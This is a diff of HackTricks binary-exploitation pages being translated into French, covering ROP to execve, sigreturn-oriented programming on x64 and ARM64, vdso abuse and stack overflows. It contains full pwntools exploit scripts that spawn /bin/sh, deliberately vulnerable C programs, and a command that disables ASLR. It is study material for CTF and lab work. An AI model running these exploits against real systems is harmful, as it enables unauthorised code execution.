> Notez donc comment il pourrait être possible de **contourner l'ASLR en abusant du vdso** si le noyau est compilé avec CONFIG_COMPAT_VDSO car l'adresse du vdso ne sera pas randomisée : [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64
After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page:
Après avoir dumpé et vérifié la section vdso d'un binaire dans kali 2023.2 arm64, je n'ai trouvé là-dedans aucun gadget intéressant (aucun moyen de contrôler les registres à partir des valeurs dans la pile ou de contrôler x30 pour un ret) **sauf un moyen d'appeler un SROP**. Consultez plus d'infos dans l'exemple de la page :
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md

View File

@ -2,26 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
Ceci est similaire à Ret2lib, cependant, dans ce cas, nous n'appellerons pas une fonction d'une bibliothèque. Dans ce cas, tout sera préparé pour appeler le syscall `sys_execve` avec quelques arguments pour exécuter `/bin/sh`. Cette technique est généralement réalisée sur des binaires compilés statiquement, donc il peut y avoir de nombreux gadgets et instructions syscall.
In order to prepare the call for the **syscall** it's needed the following configuration:
Pour préparer l'appel pour le **syscall**, la configuration suivante est nécessaire :
- `rax: 59 Specify sys_execve`
- `rdi: ptr to "/bin/sh" specify file to execute`
- `rsi: 0 specify no arguments passed`
- `rdx: 0 specify no environment variables passed`
- `rax: 59 Spécifier sys_execve`
- `rdi: ptr vers "/bin/sh" spécifier le fichier à exécuter`
- `rsi: 0 spécifier aucun argument passé`
- `rdx: 0 spécifier aucune variable d'environnement passée`
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
Donc, en gros, il est nécessaire d'écrire la chaîne `/bin/sh` quelque part et ensuite d'effectuer le `syscall` (en étant conscient du padding nécessaire pour contrôler la pile). Pour cela, nous avons besoin d'un gadget pour écrire `/bin/sh` dans une zone connue.
> [!TIP]
> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
> Un autre syscall intéressant à appeler est **`mprotect`** qui permettrait à un attaquant de **modifier les permissions d'une page en mémoire**. Cela peut être combiné avec [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
## Register gadgets
Let's start by finding **how to control those registers**:
## Gadgets de registre
Commençons par trouver **comment contrôler ces registres** :
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
Avec ces adresses, il est possible de **écrire le contenu dans la pile et de le charger dans les registres**.
With these addresses it's possible to **write the content in the stack and load it into the registers**.
## Écrire une chaîne
## Write string
### Writable memory
First you need to find a writable place in the memory
### Mémoire écrivable
Tout d'abord, vous devez trouver un endroit écrivable dans la mémoire.
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@ -46,26 +43,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### Écrire une chaîne en mémoire
### Write String in memory
Then you need to find a way to write arbitrary content in this address
Ensuite, vous devez trouver un moyen d'écrire du contenu arbitraire à cette adresse.
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Automatiser la chaîne ROP
### Automate ROP chain
The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
La commande suivante crée une chaîne ROP complète `sys_execve` à partir d'un binaire statique lorsqu'il y a des gadgets write-what-where et des instructions syscall :
```bash
ROPgadget --binary vuln --ropchain
```
#### 32 bits
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -87,9 +78,7 @@ rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
#### 64 bits
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -105,17 +94,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Gadgets Manquants
## Lacking Gadgets
If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
Si vous **manquez de gadgets**, par exemple pour écrire `/bin/sh` en mémoire, vous pouvez utiliser la **technique SROP pour contrôler toutes les valeurs des registres** (y compris RIP et les registres de paramètres) depuis la pile :
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}
## Exploit Example
## Exemple d'Exploitation
```python
from pwn import *
@ -182,14 +169,13 @@ target.sendline(payload)
target.interactive()
```
## Other Examples & References
## Autres exemples et références
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
- 64 bits, pas de PIE, nx, écrire dans une mémoire un ROP pour appeler `execve` et sauter là.
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
- 64 bits, nx, pas de PIE, écrire dans une mémoire un ROP pour appeler `execve` et sauter là. Pour écrire sur la pile, une fonction qui effectue des opérations mathématiques est abusée.
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64 bits, pas de PIE, nx, BF canary, écrire dans une mémoire un ROP pour appeler `execve` et sauter là.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Trouvez une introduction à arm64 dans :
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@ -10,72 +10,65 @@ Find an introduction to arm64 in:
## Code
We are going to use the example from the page:
Nous allons utiliser l'exemple de la page :
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
Compiler sans pie et canary :
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
## Gadgets
In order to prepare the call for the **syscall** it's needed the following configuration:
Pour préparer l'appel pour le **syscall**, la configuration suivante est nécessaire :
- `x8: 221 Specify sys_execve`
- `x0: ptr to "/bin/sh" specify file to execute`
- `x1: 0 specify no arguments passed`
- `x2: 0 specify no environment variables passed`
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
- `x8: 221 Spécifier sys_execve`
- `x0: ptr à "/bin/sh" spécifier le fichier à exécuter`
- `x1: 0 spécifier aucun argument passé`
- `x2: 0 spécifier aucune variable d'environnement passée`
En utilisant ROPgadget.py, j'ai pu localiser les gadgets suivants dans la bibliothèque libc de la machine :
```armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
nop ;
nop ;
mov x8, #0xdd ;
svc #0
```
With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
Avec les gadgets précédents, nous pouvons contrôler tous les registres nécessaires depuis la pile et utiliser x5 pour sauter au deuxième gadget afin d'appeler le syscall.
> [!TIP]
> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.
> Notez que connaître cette information de la bibliothèque libc permet également de réaliser une attaque ret2libc, mais utilisons-la pour cet exemple actuel.
### Exploit
```python
from pwn import *
@ -124,5 +117,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,25 +2,24 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
**`Sigreturn`** est un **syscall** spécial principalement utilisé pour nettoyer après l'exécution d'un gestionnaire de signaux. Les signaux sont des interruptions envoyées à un programme par le système d'exploitation, souvent pour indiquer qu'une situation exceptionnelle s'est produite. Lorsqu'un programme reçoit un signal, il met temporairement en pause son travail actuel pour gérer le signal avec un **gestionnaire de signaux**, une fonction spéciale conçue pour traiter les signaux.
After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
Après que le gestionnaire de signaux ait terminé, le programme doit **reprendre son état précédent** comme si rien ne s'était passé. C'est là que **`sigreturn`** entre en jeu. Il aide le programme à **retourner du gestionnaire de signaux** et restaure l'état du programme en nettoyant le cadre de pile (la section de mémoire qui stocke les appels de fonction et les variables locales) qui a été utilisé par le gestionnaire de signaux.
The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
La partie intéressante est comment **`sigreturn`** restaure l'état du programme : il le fait en stockant **toutes les valeurs des registres du CPU sur la pile.** Lorsque le signal n'est plus bloqué, **`sigreturn` dépile ces valeurs**, réinitialisant effectivement les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile.
> [!CAUTION]
> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
> Appeler le syscall **`sigreturn`** à partir d'une chaîne ROP et **ajouter les valeurs des registres** que nous aimerions charger dans la **pile** permet de **contrôler** toutes les valeurs des registres et donc de **appeler** par exemple le syscall `execve` avec `/bin/sh`.
Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
Notez comment cela serait un **type de Ret2syscall** qui facilite beaucoup le contrôle des paramètres pour appeler d'autres Ret2syscalls :
{{#ref}}
../rop-syscall-execv/
{{#endref}}
If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
Si vous êtes curieux, voici la **structure sigcontext** stockée dans la pile pour récupérer plus tard les valeurs (diagramme de [**ici**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)) :
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
| __reserved | sigmask |
+--------------------+--------------------+
```
For a better explanation check also:
Pour une meilleure explication, consultez également :
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Example
You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
## Exemple
Vous pouvez [**trouver un exemple ici**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) où l'appel à signeturn est construit via ROP (en mettant dans rxa la valeur `0xf`), bien que cela soit l'exploit final à partir de là :
```python
from pwn import *
@ -91,9 +88,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
Vérifiez également l'[**exploit d'ici**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) où le binaire appelait déjà `sigreturn` et il n'est donc pas nécessaire de le construire avec un **ROP** :
```python
from pwn import *
@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
## Other Examples & References
## Autres exemples et références
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary.
- Binaire d'assemblage qui permet de **écrire sur la pile** et ensuite appelle le syscall **`sigreturn`**. Il est possible d'écrire sur la pile un [**ret2syscall**](../rop-syscall-execv/) via une structure **sigreturn** et de lire le drapeau qui se trouve dans la mémoire du binaire.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`).
- Binaire d'assemblage qui permet de **écrire sur la pile** et ensuite appelle le syscall **`sigreturn`**. Il est possible d'écrire sur la pile un [**ret2syscall**](../rop-syscall-execv/) via une structure **sigreturn** (le binaire a la chaîne `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell.
- 64 bits, pas de relro, pas de canary, nx, pas de pie. Débordement de tampon simple abusant de la fonction `gets` avec un manque de gadgets qui effectue un [**ret2syscall**](../rop-syscall-execv/). La chaîne ROP écrit `/bin/sh` dans le `.bss` en appelant à nouveau gets, elle abuse de la fonction **`alarm`** pour définir eax à `0xf` afin d'appeler un **SROP** et d'exécuter un shell.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
- Programme d'assemblage 64 bits, pas de relro, pas de canary, nx, pas de pie. Le flux permet d'écrire dans la pile, de contrôler plusieurs registres et d'appeler un syscall puis appelle `exit`. Le syscall sélectionné est un `sigreturn` qui définira les registres et déplacera `eip` pour appeler une instruction syscall précédente et exécuter `memprotect` pour définir l'espace binaire à `rwx` et définir l'ESP dans l'espace binaire. En suivant le flux, le programme appellera à nouveau read dans l'ESP, mais dans ce cas, l'ESP pointera vers l'instruction suivante, donc en passant un shellcode, il l'écrira comme l'instruction suivante et l'exécutera.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
- SROP est utilisé pour donner des privilèges d'exécution (memprotect) à l'endroit où un shellcode a été placé.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Pwntools example
This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
## Exemple Pwntools
Cet exemple crée le binaire vulnérable et l'exploite. Le binaire **lit dans la pile** puis appelle **`sigreturn`** :
```python
from pwn import *
@ -33,55 +32,49 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## bof example
## exemple de bof
### Code
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
char* b = gen_stack();
do_stuff(2);
return 0;
}
```
Compile it with:
Compilez-le avec :
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Exploit
The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
L'exploit abuse du bof pour revenir à l'appel de **`sigreturn`** et préparer la pile pour appeler **`execve`** avec un pointeur vers `/bin/sh`.
```python
from pwn import *
@ -110,44 +103,40 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## bof example without sigreturn
## exemple de bof sans sigreturn
### Code
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
char* b = gen_stack();
return 0;
}
```
## Exploit
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
Dans la section **`vdso`**, il est possible de trouver un appel à **`sigreturn`** à l'offset **`0x7b0`** :
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it:
Par conséquent, s'il est divulgué, il est possible de **utiliser cette adresse pour accéder à un `sigreturn`** si le binaire ne le charge pas :
```python
from pwn import *
@ -176,14 +165,13 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
For more info about vdso check:
Pour plus d'informations sur vdso, consultez :
{{#ref}}
../ret2vdso.md
{{#endref}}
And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:
Et pour contourner l'adresse de `/bin/sh`, vous pourriez créer plusieurs variables d'environnement pointant vers celle-ci, pour plus d'informations :
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/

View File

@ -2,37 +2,34 @@
{{#include ../../banners/hacktricks-training.md}}
## What is a Stack Overflow
## Qu'est-ce qu'un débordement de pile
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
Un **débordement de pile** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données dans la pile que ce qui lui est alloué. Ces données excédentaires vont **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, une perturbation du flux de contrôle et potentiellement l'exécution de code malveillant. Ce problème survient souvent en raison de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées.
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
Le principal problème de cette écriture est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** pour revenir à la fonction précédente sont **stockés sur la pile**. Par conséquent, un attaquant pourra écraser ceux-ci et **contrôler le flux d'exécution du programme**.
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
La vulnérabilité survient généralement parce qu'une fonction **copie dans la pile plus d'octets que la quantité qui lui est allouée**, permettant ainsi d'écraser d'autres parties de la pile.
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
For example, the following functions could be vulnerable:
Certaines fonctions courantes vulnérables à cela sont : **`strcpy`, `strcat`, `sprintf`, `gets`**... De plus, des fonctions comme **`fgets`**, **`read` & `memcpy`** qui prennent un **argument de longueur**, peuvent être utilisées de manière vulnérable si la longueur spécifiée est supérieure à celle allouée.
Par exemple, les fonctions suivantes pourraient être vulnérables :
```c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Trouver les décalages des débordements de pile
### Finding Stack Overflows offsets
La manière la plus courante de trouver des débordements de pile est de donner une très grande entrée de `A`s (par exemple `python3 -c 'print("A"*1000)'`) et de s'attendre à un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver le décalage jusqu'à ce qu'il soit possible de **surcharger l'adresse de retour**, pour cela, on utilise généralement une **séquence de De Bruijn.** Qui pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_ est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur \_n**\_\*\* apparaît exactement une fois\*\* comme sous-séquence contiguë.
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence.
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
It's possible to use **pwntools** for this:
De cette manière, au lieu de devoir déterminer manuellement quel décalage est nécessaire pour contrôler l'EIP, il est possible d'utiliser comme remplissage l'une de ces séquences et ensuite de trouver le décalage des octets qui ont fini par la surcharger.
Il est possible d'utiliser **pwntools** pour cela :
```python
from pwn import *
@ -44,58 +41,55 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
or **GEF**:
ou **GEF** :
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Exploiter les débordements de pile
## Exploiting Stack Overflows
Lors d'un débordement (en supposant que la taille du débordement soit suffisamment grande), vous pourrez **écraser** les valeurs des variables locales dans la pile jusqu'à atteindre le **EBP/RBP et EIP/RIP sauvegardés (ou même plus)**.\
La manière la plus courante d'abuser de ce type de vulnérabilité est de **modifier l'adresse de retour** afin que lorsque la fonction se termine, le **flux de contrôle soit redirigé vers l'endroit spécifié par l'utilisateur** dans ce pointeur.
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
Cependant, dans d'autres scénarios, il se peut que **l'écrasement de certaines valeurs de variables dans la pile** soit suffisant pour l'exploitation (comme dans des défis CTF faciles).
### Ret2win
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
Dans ce type de défis CTF, il y a une **fonction** **dans** le binaire qui **n'est jamais appelée** et que **vous devez appeler pour gagner**. Pour ces défis, vous devez simplement trouver l'**offset pour écraser l'adresse de retour** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/) serait désactivé) afin que lorsque la fonction vulnérable retourne, la fonction cachée soit appelée :
{{#ref}}
ret2win/
{{#endref}}
### Stack Shellcode
### Shellcode de pile
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
Dans ce scénario, l'attaquant pourrait placer un shellcode dans la pile et abuser de l'EIP/RIP contrôlé pour sauter au shellcode et exécuter du code arbitraire :
{{#ref}}
stack-shellcode/
{{#endref}}
### ROP & Ret2... techniques
### Techniques ROP & Ret2...
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
Cette technique est le cadre fondamental pour contourner la principale protection de la technique précédente : **Pas de pile exécutable (NX)**. Et elle permet d'exécuter plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant des instructions existantes dans le binaire :
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
## Heap Overflows
## Débordements de tas
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
Un débordement ne se produira pas toujours dans la pile, il pourrait également se produire dans le **tas**, par exemple :
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
## Types of protections
## Types de protections
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
Il existe plusieurs protections essayant de prévenir l'exploitation des vulnérabilités, consultez-les dans :
{{#ref}}
../common-binary-protections-and-bypasses/

View File

@ -1,28 +1,28 @@
# Pointer Redirecting
# Redirection de Pointeur
{{#include ../../banners/hacktricks-training.md}}
## String pointers
## Pointeurs de chaîne
If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary.
Si un appel de fonction va utiliser une adresse d'une chaîne qui est située dans la pile, il est possible d'abuser du débordement de tampon pour **écraser cette adresse** et mettre une **adresse d'une chaîne différente** à l'intérieur du binaire.
If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary.
Si par exemple un appel de fonction **`system`** va **utiliser l'adresse d'une chaîne pour exécuter une commande**, un attaquant pourrait placer l'**adresse d'une chaîne différente dans la pile**, **`export PATH=.:$PATH`** et créer dans le répertoire courant un **script avec le nom de la première lettre de la nouvelle chaîne** car cela sera exécuté par le binaire.
You can find an **example** of this in:
Vous pouvez trouver un **exemple** de cela dans :
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
- 32bit, change address to flags string in the stack so it's printed by `puts`
